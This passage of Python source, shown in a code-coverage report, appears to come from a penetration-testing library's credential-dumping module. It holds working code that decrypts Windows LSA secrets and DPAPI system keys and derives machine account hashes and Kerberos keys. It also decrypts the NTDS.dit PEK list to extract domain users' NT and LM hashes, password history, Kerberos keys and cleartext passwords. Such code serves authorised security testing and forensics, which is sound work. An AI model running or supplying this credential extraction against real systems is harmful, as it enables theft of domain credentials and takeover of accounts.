1505 secret += strDecoded
1506 elif upperName.startswith('DEFAULTPASSWORD'):
1507 # defaults password for winlogon
1508 # Let's first try to decode the secret
1509 try:
1510 strDecoded = secretItem.decode('utf-16le')
1511 except:
1512 pass
1513 else:
1514 # We have to get the account this password is for
1515 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): 1515 ↛ 1523line 1515 didn't jump to line 1523, because the condition on line 1515 was never false
1516 account = self.__remoteOps.getDefaultLoginAccount()
1517 if account is None: 1517 ↛ 1518line 1517 didn't jump to line 1518, because the condition on line 1517 was never true
1518 secret = self.UNKNOWN_USER + ':'
1519 else:
1520 secret = "%s:" % account
1521 else:
1522 # We don't support getting this info for local targets at the moment
1523 secret = self.UNKNOWN_USER + ':'
1524 secret += strDecoded
1525 elif upperName.startswith('ASPNET_WP_PASSWORD'): 1525 ↛ 1526line 1525 didn't jump to line 1526, because the condition on line 1525 was never true
1526 try:
1527 strDecoded = secretItem.decode('utf-16le')
1528 except:
1529 pass
1530 else:
1531 secret = 'ASPNET: %s' % strDecoded
1532 elif upperName.startswith('DPAPI_SYSTEM'):
1533 # Decode the DPAPI Secrets
1534 dpapi = DPAPI_SYSTEM(secretItem)
1535 secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
1536 hexlify(dpapi['UserKey']).decode('latin-1'))
1537 elif upperName.startswith('$MACHINE.ACC'):
1538 # compute MD4 of the secret.. yes.. that is the nthash? :-o
1539 md4 = MD4.new()
1540 md4.update(secretItem)
1541 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): 1541 ↛ 1547line 1541 didn't jump to line 1547, because the condition on line 1541 was never false
1542 machine, domain = self.__remoteOps.getMachineNameAndDomain()
1543 printname = "%s\\%s$" % (domain, machine)
1544 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
1545 hexlify(md4.digest()).decode('utf-8'))
1546 else:
1547 printname = "$MACHINE.ACC"
1548 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
1549 hexlify(md4.digest()).decode('utf-8'))
1550 # Attempt to calculate and print Kerberos keys
1551 if not self.__printMachineKerberos(secretItem, printname): 1551 ↛ 1552line 1551 didn't jump to line 1552, because the condition on line 1551 was never true
1552 LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')
1553 # Always print plaintext anyway since this may be needed for some popular usecases
1554 extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
1555 self.__secretItems.append(extrasecret)
1556 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
1558 if secret != '':
1559 printableSecret = secret
1560 self.__secretItems.append(secret)
1561 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
1562 else:
1563 # Default print, hexdump
1564 printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
1565 self.__secretItems.append(printableSecret)
1566 # If we're using the default callback (ourselves), we print the hex representation. If not, the
1567 # user will need to decide what to do.
1568 if self.__module__ == self.__perSecretCallback.__module__: 1568 ↛ 1570line 1568 didn't jump to line 1570, because the condition on line 1568 was never false
1569 hexdump(secretItem)
1570 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
1572 def __printMachineKerberos(self, rawsecret, machinename):
1573 # Attempt to create Kerberos keys from machine account (if possible)
1574 if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): 1574 ↛ 1602line 1574 didn't jump to line 1602, because the condition on line 1574 was never false
1575 salt = self.__remoteOps.getMachineKerberosSalt()
1576 if salt == b'': 1576 ↛ 1577line 1576 didn't jump to line 1577, because the condition on line 1576 was never true
1577 return False
1578 else:
1579 allciphers = [
1580 int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
1581 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
1582 int(constants.EncryptionTypes.des_cbc_md5.value)
1583 ]
1584 # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
1585 # of invalid unicode characters.
1586 # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
1587 # implicitly replaces those when converting utf-16 to utf-8.
1588 # When we use the same method we get the valid password -> key mapping :)
1589 rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
1590 for etype in allciphers:
1591 try:
1592 key = string_to_key(etype, rawsecret, salt, None)
1593 except Exception:
1594 LOG.debug('Exception', exc_info=True)
1595 raise
1596 typename = NTDSHashes.KERBEROS_TYPE[etype]
1597 secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
1598 self.__secretItems.append(secret)
1599 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
1600 return True
1601 else:
1602 return False
1604 def dumpSecrets(self):
1605 if self.__securityFile is None: 1605 ↛ 1607line 1605 didn't jump to line 1607, because the condition on line 1605 was never true
1606 # No SECURITY file provided
1607 return
1609 LOG.info('Dumping LSA Secrets')
1611 # Let's first see if there are cached entries
1612 keys = self.enumKey('\\Policy\\Secrets')
1613 if keys is None: 1613 ↛ 1615line 1613 didn't jump to line 1615, because the condition on line 1613 was never true
1614 # No entries
1615 return
1616 try:
1617 # Remove unnecessary value
1618 keys.remove(b'NL$Control')
1619 except:
1620 pass
1622 if self.__LSAKey == b'': 1622 ↛ 1623line 1622 didn't jump to line 1623, because the condition on line 1622 was never true
1623 self.__getLSASecretKey()
1625 for key in keys:
1626 LOG.debug('Looking into %s' % key)
1627 valueTypeList = ['CurrVal']
1628 # Check if old LSA secrets values are also need to be shown
1629 if self.__history:
1630 valueTypeList.append('OldVal')
1632 for valueType in valueTypeList:
1633 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
1634 if value is not None and value[1] != 0:
1635 if self.__vistaStyle is True: 1635 ↛ 1642line 1635 didn't jump to line 1642, because the condition on line 1635 was never false
1636 record = LSA_SECRET(value[1])
1637 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1638 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1639 record = LSA_SECRET_BLOB(plainText)
1640 secret = record['Secret']
1641 else:
1642 secret = self.__decryptSecret(self.__LSAKey, value[1])
1644 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
1645 # also be consistent with NTDS history
1646 if valueType == 'OldVal':
1647 key += '_history'
1648 self.__printSecret(key, secret)
1650 def exportSecrets(self, baseFileName, openFileFunc = None):
1651 if len(self.__secretItems) > 0:
1652 fileName = baseFileName+'.secrets'
1653 fd = openFile(fileName, openFileFunc=openFileFunc)
1654 for item in self.__secretItems:
1655 fd.write(item+'\n')
1656 fd.close()
1657 return fileName
1659 def exportCached(self, baseFileName, openFileFunc = None):
1660 if len(self.__cachedItems) > 0:
1661 fileName = baseFileName+'.cached'
1662 fd = openFile(fileName, openFileFunc=openFileFunc)
1663 for item in self.__cachedItems:
1664 fd.write(item+'\n')
1665 fd.close()
1666 return fileName
1669class ResumeSessionMgrInFile(object):
1670 def __init__(self, resumeFileName=None):
1671 self.__resumeFileName = resumeFileName
1672 self.__resumeFile = None
1673 self.__hasResumeData = resumeFileName is not None
1675 def hasResumeData(self):
1676 return self.__hasResumeData
1678 def clearResumeData(self):
1679 self.endTransaction()
1680 if self.__resumeFileName and os.path.isfile(self.__resumeFileName): 1680 ↛ exitline 1680 didn't return from function 'clearResumeData', because the condition on line 1680 was never false
1681 os.remove(self.__resumeFileName)
1683 def writeResumeData(self, data):
1684 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
1685 self.__resumeFile.seek(0, 0)
1686 self.__resumeFile.truncate(0)
1687 self.__resumeFile.write(data.encode())
1688 self.__resumeFile.flush()
1690 def getResumeData(self):
1691 try:
1692 self.__resumeFile = open(self.__resumeFileName,'rb')
1693 except Exception as e:
1694 raise Exception('Cannot open resume session file name %s' % str(e))
1695 resumeSid = self.__resumeFile.read()
1696 self.__resumeFile.close()
1697 # Truncate and reopen the file as wb+
1698 self.__resumeFile = open(self.__resumeFileName,'wb+')
1699 return resumeSid.decode('utf-8')
1701 def getFileName(self):
1702 return self.__resumeFileName
1704 def beginTransaction(self):
1705 if not self.__resumeFileName: 1705 ↛ 1708line 1705 didn't jump to line 1708, because the condition on line 1705 was never false
1706 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
1707 LOG.debug('Session resume file will be %s' % self.__resumeFileName)
1708 if not self.__resumeFile: 1708 ↛ exitline 1708 didn't return from function 'beginTransaction', because the condition on line 1708 was never false
1709 try:
1710 self.__resumeFile = open(self.__resumeFileName, 'wb+')
1711 except Exception as e:
1712 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
1714 def endTransaction(self):
1715 if self.__resumeFile:
1716 self.__resumeFile.close()
1717 self.__resumeFile = None
1720class NTDSHashes:
1721 class SECRET_TYPE:
1722 NTDS = 0
1723 NTDS_CLEARTEXT = 1
1724 NTDS_KERBEROS = 2
1726 NAME_TO_INTERNAL = {
1727 'uSNCreated':b'ATTq131091',
1728 'uSNChanged':b'ATTq131192',
1729 'name':b'ATTm3',
1730 'objectGUID':b'ATTk589826',
1731 'objectSid':b'ATTr589970',
1732 'userAccountControl':b'ATTj589832',
1733 'primaryGroupID':b'ATTj589922',
1734 'accountExpires':b'ATTq589983',
1735 'logonCount':b'ATTj589993',
1736 'sAMAccountName':b'ATTm590045',
1737 'sAMAccountType':b'ATTj590126',
1738 'lastLogonTimestamp':b'ATTq589876',
1739 'userPrincipalName':b'ATTm590480',
1740 'unicodePwd':b'ATTk589914',
1741 'dBCSPwd':b'ATTk589879',
1742 'ntPwdHistory':b'ATTk589918',
1743 'lmPwdHistory':b'ATTk589984',
1744 'pekList':b'ATTk590689',
1745 'supplementalCredentials':b'ATTk589949',
1746 'pwdLastSet':b'ATTq589920',
1747 }
1749 NAME_TO_ATTRTYP = {
1750 'userPrincipalName': 0x90290,
1751 'sAMAccountName': 0x900DD,
1752 'unicodePwd': 0x9005A,
1753 'dBCSPwd': 0x90037,
1754 'ntPwdHistory': 0x9005E,
1755 'lmPwdHistory': 0x900A0,
1756 'supplementalCredentials': 0x9007D,
1757 'objectSid': 0x90092,
1758 'userAccountControl':0x90008,
1759 }
1761 ATTRTYP_TO_ATTID = {
1762 'userPrincipalName': '1.2.840.113556.1.4.656',
1763 'sAMAccountName': '1.2.840.113556.1.4.221',
1764 'unicodePwd': '1.2.840.113556.1.4.90',
1765 'dBCSPwd': '1.2.840.113556.1.4.55',
1766 'ntPwdHistory': '1.2.840.113556.1.4.94',
1767 'lmPwdHistory': '1.2.840.113556.1.4.160',
1768 'supplementalCredentials': '1.2.840.113556.1.4.125',
1769 'objectSid': '1.2.840.113556.1.4.146',
1770 'pwdLastSet': '1.2.840.113556.1.4.96',
1771 'userAccountControl':'1.2.840.113556.1.4.8',
1772 }
1774 KERBEROS_TYPE = {
1775 1:'dec-cbc-crc',
1776 3:'des-cbc-md5',
1777 17:'aes128-cts-hmac-sha1-96',
1778 18:'aes256-cts-hmac-sha1-96',
1779 0xffffff74:'rc4_hmac',
1780 }
1782 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())
1784 SAM_NORMAL_USER_ACCOUNT = 0x30000000
1785 SAM_MACHINE_ACCOUNT = 0x30000001
1786 SAM_TRUST_ACCOUNT = 0x30000002
1788 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
1790 class PEKLIST_ENC(Structure):
1791 structure = (
1792 ('Header','8s=b""'),
1793 ('KeyMaterial','16s=b""'),
1794 ('EncryptedPek',':'),
1795 )
1797 class PEKLIST_PLAIN(Structure):
1798 structure = (
1799 ('Header','32s=b""'),
1800 ('DecryptedPek',':'),
1801 )
1803 class PEK_KEY(Structure):
1804 structure = (
1805 ('Header','1s=b""'),
1806 ('Padding','3s=b""'),
1807 ('Key','16s=b""'),
1808 )
1810 class CRYPTED_HASH(Structure):
1811 structure = (
1812 ('Header','8s=b""'),
1813 ('KeyMaterial','16s=b""'),
1814 ('EncryptedHash','16s=b""'),
1815 )
1817 class CRYPTED_HASHW16(Structure):
1818 structure = (
1819 ('Header','8s=b""'),
1820 ('KeyMaterial','16s=b""'),
1821 ('Unknown','<L=0'),
1822 ('EncryptedHash', ':'),
1823 )
1825 class CRYPTED_HISTORY(Structure):
1826 structure = (
1827 ('Header','8s=b""'),
1828 ('KeyMaterial','16s=b""'),
1829 ('EncryptedHash',':'),
1830 )
1832 class CRYPTED_BLOB(Structure):
1833 structure = (
1834 ('Header','8s=b""'),
1835 ('KeyMaterial','16s=b""'),
1836 ('EncryptedHash',':'),
1837 )
1839 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
1840 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
1841 justUser=None, printUserStatus=False,
1842 perSecretCallback = lambda secretType, secret : _print_helper(secret),
1843 resumeSessionMgr=ResumeSessionMgrInFile):
1844 self.__bootKey = bootKey
1845 self.__NTDS = ntdsFile
1846 self.__history = history
1847 self.__noLMHash = noLMHash
1848 self.__useVSSMethod = useVSSMethod
1849 self.__remoteOps = remoteOps
1850 self.__pwdLastSet = pwdLastSet
1851 self.__printUserStatus = printUserStatus
1852 if self.__NTDS is not None:
1853 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
1854 self.__cursor = self.__ESEDB.openTable('datatable')
1855 self.__tmpUsers = list()
1856 self.__PEK = list()
1857 self.__cryptoCommon = CryptoCommon()
1858 self.__kerberosKeys = OrderedDict()
1859 self.__clearTextPwds = OrderedDict()
1860 self.__justNTLM = justNTLM
1861 self.__resumeSession = resumeSessionMgr(resumeSession)
1862 self.__outputFileName = outputFileName
1863 self.__justUser = justUser
1864 self.__perSecretCallback = perSecretCallback
1866 def getResumeSessionFile(self):
1867 return self.__resumeSession.getFileName()
1869 def __getPek(self):
1870 LOG.info('Searching for pekList, be patient')
1871 peklist = None
1872 while True:
1873 try:
1874 record = self.__ESEDB.getNextRow(self.__cursor)
1875 except:
1876 LOG.error('Error while calling getNextRow(), trying the next one')
1877 continue
1879 if record is None: 1879 ↛ 1880line 1879 didn't jump to line 1880, because the condition on line 1879 was never true
1880 break
1881 elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
1882 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
1883 break
1884 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1884 ↛ 1887line 1884 didn't jump to line 1887, because the condition on line 1884 was never true
1885 # Okey.. we found some users, but we're not yet ready to process them.
1886 # Let's just store them in a temp list
1887 self.__tmpUsers.append(record)
1889 if peklist is not None: 1889 ↛ exitline 1889 didn't return from function '__getPek', because the condition on line 1889 was never false
1890 encryptedPekList = self.PEKLIST_ENC(peklist)
1891 if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00': 1891 ↛ 1907line 1891 didn't jump to line 1907, because the condition on line 1891 was never false
1892 # Up to Windows 2012 R2 looks like header starts this way
1893 md5 = hashlib.new('md5')
1894 md5.update(self.__bootKey)
1895 for i in range(1000):
1896 md5.update(encryptedPekList['KeyMaterial'])
1897 tmpKey = md5.digest()
1898 rc4 = ARC4.new(tmpKey)
1899 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
1900 PEKLen = len(self.PEK_KEY())
1901 for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):
1902 cursor = i * PEKLen
1903 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
1904 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))
1905 self.__PEK.append(pek['Key'])
1907 elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':
1908 # Windows 2016 TP4 header starts this way
1909 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
1910 # using AES:
1911 # Key: the bootKey
1912 # CipherText: PEKLIST_ENC['EncryptedPek']
1913 # IV: PEKLIST_ENC['KeyMaterial']
1914 decryptedPekList = self.PEKLIST_PLAIN(
1915 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
1916 encryptedPekList['KeyMaterial']))
1918 # PEK list entries take the form:
1919 # index (4 byte LE int), PEK (16 byte key)
1920 # the entries are in ascending order, and the list is terminated
1921 # by an entry with a non-sequential index (08080808 observed)
1922 pos, cur_index = 0, 0
1923 while True:
1924 pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]
1925 if len(pek_entry) < 20: break # if list truncated, should not happen
1926 index, pek = unpack('<L16s', pek_entry)
1927 if index != cur_index: break # break on non-sequential index
1928 self.__PEK.append(pek)
1929 LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))
1930 cur_index += 1
1931 pos += 20
1933 def __removeRC4Layer(self, cryptedHash):
1934 md5 = hashlib.new('md5')
1935 # PEK index can be found on header of each ciphered blob (pos 8-10)
1936 pekIndex = hexlify(cryptedHash['Header'])
1937 md5.update(self.__PEK[int(pekIndex[8:10])])
1938 md5.update(cryptedHash['KeyMaterial'])
1939 tmpKey = md5.digest()
1940 rc4 = ARC4.new(tmpKey)
1941 plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
1943 return plainText
1945 def __removeDESLayer(self, cryptedHash, rid):
1946 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
1948 Crypt1 = DES.new(Key1, DES.MODE_ECB)
1949 Crypt2 = DES.new(Key2, DES.MODE_ECB)
1951 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
1953 return decryptedHash
1955 @staticmethod
1956 def __fileTimeToDateTime(t):
1957 t -= 116444736000000000
1958 t //= 10000000
1959 if t < 0:
1960 return 'never'
1961 else:
1962 dt = datetime.fromtimestamp(t)
1963 return dt.strftime("%Y-%m-%d %H:%M")
1965 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
1966 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
1967 haveInfo = False
1968 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
1969 if self.__useVSSMethod is True:
1970 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
1971 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: 1971 ↛ 2032line 1971 didn't jump to line 2032, because the condition on line 1971 was never false
1972 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
1973 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
1974 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
1975 else:
1976 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
1977 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
1979 if cipherText['Header'][:4] == b'\x13\x00\x00\x00': 1979 ↛ 1981line 1979 didn't jump to line 1981, because the condition on line 1979 was never true
1980 # Win2016 TP4 decryption is different
1981 pekIndex = hexlify(cipherText['Header'])
1982 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
1983 cipherText['EncryptedHash'][4:],
1984 cipherText['KeyMaterial'])
1985 haveInfo = True
1986 else:
1987 plainText = self.__removeRC4Layer(cipherText)
1988 haveInfo = True
1989 else:
1990 domain = None
1991 userName = None
1992 replyVersion = 'V%d' % record['pdwOutVersion']
1993 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
1994 try:
1995 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
1996 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
1997 except Exception as e:
1998 LOG.debug('Failed to execute OidFromAttid with error %s' % e)
1999 LOG.debug('Exception', exc_info=True)
2000 # Fallbacking to fixed table and hope for the best
2001 attId = attr['attrTyp']
2002 LOOKUP_TABLE = self.NAME_TO_ATTRTYP
2004 if attId == LOOKUP_TABLE['userPrincipalName']:
2005 if attr['AttrVal']['valCount'] > 0: 2005 ↛ 2011line 2005 didn't jump to line 2011, because the condition on line 2005 was never false
2006 try:
2007 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
2008 except:
2009 domain = None
2010 else:
2011 domain = None
2012 elif attId == LOOKUP_TABLE['sAMAccountName']:
2013 if attr['AttrVal']['valCount'] > 0: 2013 ↛ 2021line 2013 didn't jump to line 2021, because the condition on line 2013 was never false
2014 try:
2015 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
2016 except:
2017 LOG.error(
2018 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2019 userName = 'unknown'
2020 else:
2021 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2022 userName = 'unknown'
2023 if attId == LOOKUP_TABLE['supplementalCredentials']:
2024 if attr['AttrVal']['valCount'] > 0: 2024 ↛ 1993line 2024 didn't jump to line 1993, because the condition on line 2024 was never false
2025 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2026 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
2027 if len(plainText) > 24: 2027 ↛ 1993line 2027 didn't jump to line 1993, because the condition on line 2027 was never false
2028 haveInfo = True
2029 if domain is not None:
2030 userName = '%s\\%s' % (domain, userName)
2032 if haveInfo is True:
2033 try:
2034 userProperties = samr.USER_PROPERTIES(plainText)
2035 except:
2036 # On some old w2k3 there might be user properties that don't
2037 # match [MS-SAMR] structure, discarding them
2038 return
2039 propertiesData = userProperties['UserProperties']
2040 for propertyCount in range(userProperties['PropertyCount']):
2041 userProperty = samr.USER_PROPERTY(propertiesData)
2042 propertiesData = propertiesData[len(userProperty):]
2043 # For now, we will only process Newer Kerberos Keys and CLEARTEXT
2044 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
2045 propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
2046 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
2047 data = kerbStoredCredentialNew['Buffer']
2048 for credential in range(kerbStoredCredentialNew['CredentialCount']):
2049 keyDataNew = samr.KERB_KEY_DATA_NEW(data)
2050 data = data[len(keyDataNew):]
2051 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
2053 if keyDataNew['KeyType'] in self.KERBEROS_TYPE: 2053 ↛ 2056line 2053 didn't jump to line 2056, because the condition on line 2053 was never false
2054 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
2055 else:
2056 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
2057 # We're just storing the keys, not printing them, to make the output more readable
2058 # This is kind of ugly... but it's what I came up with tonight to get an ordered
2059 # set :P. Better ideas welcomed ;)
2060 self.__kerberosKeys[answer] = None
2061 if keysFile is not None: 2061 ↛ 2062line 2061 didn't jump to line 2062, because the condition on line 2061 was never true
2062 self.__writeOutput(keysFile, answer + '\n')
2063 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': 2063 ↛ 2066line 2063 didn't jump to line 2066, because the condition on line 2063 was never true
2064 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
2065 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
2066 try:
2067 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
2068 except UnicodeDecodeError:
2069 # This could be because we're decoding a machine password. Printing it hex
2070 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))
2072 self.__clearTextPwds[answer] = None
2073 if clearTextFile is not None:
2074 self.__writeOutput(clearTextFile, answer + '\n')
2076 if clearTextFile is not None: 2076 ↛ 2077line 2076 didn't jump to line 2077, because the condition on line 2076 was never true
2077 clearTextFile.flush()
2078 if keysFile is not None: 2078 ↛ 2079line 2078 didn't jump to line 2079, because the condition on line 2078 was never true
2079 keysFile.flush()
2081 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
2083 def __decryptHash(self, record, prefixTable=None, outputFile=None):
2084 LOG.debug('Entering NTDSHashes.__decryptHash')
2085 if self.__useVSSMethod is True:
2086 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
2088 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
2089 rid = sid.formatCanonical().split('-')[-1]
2091 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: 2091 ↛ 2092line 2091 didn't jump to line 2092, because the condition on line 2091 was never true
2092 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
2093 if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
2094 # Win2016 TP4 decryption is different
2095 encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
2096 pekIndex = hexlify(encryptedLMHash['Header'])
2097 tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2098 encryptedLMHash['EncryptedHash'][:16],
2099 encryptedLMHash['KeyMaterial'])
2100 else:
2101 tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
2102 LMHash = self.__removeDESLayer(tmpLMHash, rid)
2103 else:
2104 LMHash = ntlm.LMOWFv1('', '')
2106 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
2107 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
2108 if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': 2108 ↛ 2110line 2108 didn't jump to line 2110, because the condition on line 2108 was never true
2109 # Win2016 TP4 decryption is different
2110 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
2111 pekIndex = hexlify(encryptedNTHash['Header'])
2112 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2113 encryptedNTHash['EncryptedHash'][:16],
2114 encryptedNTHash['KeyMaterial'])
2115 else:
2116 tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
2117 NTHash = self.__removeDESLayer(tmpNTHash, rid)
2118 else:
2119 NTHash = ntlm.NTOWFv1('', '')
2121 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
2122 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
2123 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
2124 else:
2125 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
2127 if self.__printUserStatus is True: 2127 ↛ 2129line 2127 didn't jump to line 2129, because the condition on line 2127 was never true
2128 # Enabled / disabled users
2129 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
2130 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
2131 userAccountStatus = 'Disabled'
2132 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
2133 userAccountStatus = 'Enabled'
2134 else:
2135 userAccountStatus = 'N/A'
2137 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
2138 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
2139 else:
2140 pwdLastSet = 'N/A'
2142 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
2143 if self.__pwdLastSet is True: 2143 ↛ 2144line 2143 didn't jump to line 2144, because the condition on line 2143 was never true
2144 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2145 if self.__printUserStatus is True: 2145 ↛ 2146line 2145 didn't jump to line 2146, because the condition on line 2145 was never true
2146 answer = "%s (status=%s)" % (answer, userAccountStatus)
2148 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2150 if outputFile is not None: 2150 ↛ 2151line 2150 didn't jump to line 2151, because the condition on line 2150 was never true
2151 self.__writeOutput(outputFile, answer + '\n')
2153 if self.__history: 2153 ↛ 2315line 2153 didn't jump to line 2315, because the condition on line 2153 was never false
2154 LMHistory = []
2155 NTHistory = []
2156 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
2157 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
2158 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
2159 for i in range(0, len(tmpLMHistory) // 16):
2160 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
2161 LMHistory.append(LMHash)
2163 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
2164 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
